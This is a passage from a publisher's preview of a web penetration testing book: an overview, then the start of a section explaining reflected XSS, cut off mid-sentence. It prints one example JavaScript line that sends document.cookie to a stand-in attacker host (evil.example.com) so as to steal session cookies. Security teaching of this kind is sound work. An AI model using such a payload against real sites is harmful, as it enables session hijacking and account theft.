Book Image

Mastering Modern Web Penetration Testing

By : Prakhar Prasad, Rafay Baloch
Book Image

Mastering Modern Web Penetration Testing

By: Prakhar Prasad, Rafay Baloch

Overview of this book

Web penetration testing is a growing, fast-moving, and absolutely critical field in information security. This book executes modern web application attacks and utilises cutting-edge hacking techniques with an enhanced knowledge of web application security. We will cover web hacking techniques so you can explore the attack vectors during penetration tests. The book encompasses the latest technologies such as OAuth 2.0, Web API testing methodologies and XML vectors used by hackers. Some lesser discussed attack vectors such as RPO (relative path overwrite), DOM clobbering, PHP Object Injection and etc. has been covered in this book. We'll explain various old school techniques in depth such as XSS, CSRF, SQL Injection through the ever-dependable SQLMap and reconnaissance. Websites nowadays provide APIs to allow integration with third party applications, thereby exposing a lot of attack surface, we cover testing of these APIs using real-life examples. This pragmatic guide will be a great benefit and will help you prepare fully secure applications.
Table of Contents (18 chapters)
Mastering Modern Web Penetration Testing
Credits
About the Author
About the Reviewer
www.PacktPub.com
Preface
Index

Reflected XSS


Reflected XSS is one of the most widely exploited web application vulnerabilities. To exploit this vulnerability, the application takes one or more parameters as an input, which is reflected back to the web page generated by the application. This may not sound harmful at the moment but this vulnerability can be exploited to do one of the following things or more:

  • Execute malicious JavaScript

  • Execute client-side exploits

  • Bypass CSRF protections

  • Temporary defacements and other nuisance

The first instance is of quite concern, as this allows a hacker to execute client-side JavaScript code of his choice to be rendered and executed by the browser of the victim or the viewer viewing the page. In this case, it gets worse when the session or other essential cookies of the user are available to be stolen through the document.cookie property of JavaScript. Consider the following JavaScript code:

window.location='http://evil.example.com/?cookie='+document.cookie

This code, if executed on...